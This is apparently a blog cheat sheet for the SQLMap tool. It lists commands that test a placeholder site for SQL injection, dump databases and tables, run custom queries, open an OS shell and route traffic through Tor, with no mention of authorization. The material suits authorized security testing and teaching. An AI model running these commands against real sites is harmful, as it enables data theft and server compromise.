If you don’t know anything about the target site then use the normal command first, Observe if the SQLMap found something juicy for you
sqlmap -u “https://target_site.com/page/”sqlmap -u “https://target_site.com/page?p1=value1&p2=value2”You can specify on which parameter you want to check or exploit the sql injection using just “-p” flag.
sqlmap -u “https://target_site.com/page?p1=value1&p2=value2” -p p1sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2"You can specify a request file containing the HTTP request, You can get it quickly from BurpSuite.
Here you can specify the targeted parameter or sqlmap will recognize and will test for all the parameters found.
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --cookie="Session_Cookie_Value"sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --headers="Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --auth-type=basic --auth-cred=username:passwordIf you got SQL injection positive somewhere, then sqlmap will automatically create a session file(.sqlite) for later use. Now, If you want to try some other commands later, you can use the session file directly (It will save your time to re-try all the possible payloads and identify the vulnerability and all.)
sqlmap -u “https://target_site.com/page?p1=value1" -s SESSION-FILE.sqlite --dbsYou can use this file from the home path of the SQLMap tool’s output directory.
If the SQL injection vulnerability is observed positive then you can use the following commands to Exploit the SQL injection vulnerability.
sqlmap -u “https://target_site.com/page?p1=value1” --dbssqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --tablessqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --columnssqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE -C "Col1,Col2" --dumpsqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --dumpsqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --dump##Custom SQL query
sqlmap -u “https://target_site.com/page?p1=value1” --sql-query "SELECT * FROM TARGET_DB;"sqlmap -u “https://target_site.com/page?p1=value1” --os-shell##Get SQL shell
sqlmap -u “https://target_site.com/page?p1=value1” --sqlmap-shellsqlmap -u “https://target_site.com/page?p1=value1” --proxy="http://127.0.0.1:8080/"sqlmap -u “https://target_site.com/page?p1=value1” --tor --tor-type=SOCKS5 --check-tor --dbssqlmap -u “https://target_site.com/page?p1=value1” --dbms=mysqlYou can use other DBMS types like MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Percona, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, etc.
–technique Specify a letter or letters of BEUSTQ to control the exploit attempts:
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
sqlmap -u “https://target_site.com/page?p1=value1” --technique=BEUSTQYou can specify the difficulty levels using two flags,
–level = LEVEL Level of tests to perform (1-5, default 1)
–risk=RISK Risk of tests to perform (0-3, default 1)
sqlmap -u “https://target_site.com/page?p1=value1” --risk=3 --level=5
Option: --riskThis option requires an argument that specifies the risk of tests to perform. There are three risk values.
–riks=1: 1 is the default value which is for the majority of SQL injection points.
–riks=2: Adds to the default level the tests for heavy query time-based SQL injections
–riks=3: Value 3 adds also OR-based SQL injection tests.
Option: --levelWhen the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections.
Use Default Options for the process Use –batch flag to use all the default options or used for non-interactive sessions. (By specifying –batch flag, sqlmap will not ask you for the (Y/N) choice rather then it will smartly choose according to the needs.)
sqlmap -u “https://target_site.com/page?p1=value1” --batch
–force-ssl flagForce SQLmap to use SSL or TLS for its requests.
SQLMap is a fantastic tool for SQL Injection attacks. By analyzing the above cheat sheet we can create a general-purpose command to use most useful flags in it,
sqlmap -u “https://target_site.com/page/”--proxy="http://127.0.0.1:8080/" --cookie=”SESSID=lred0jr6na1vmci;” --data=”p1=value1” -p p1 --level=5 --risk=3 --dbms=mysql --technique=BEUSTQ --force-sslAs always I hope you found this SQLMap cheat sheet useful. Guys, feel free to show the post some love and share the cheat sheet to your friends and colleagues. I will also post in a detailed SQLMap tutorial soon.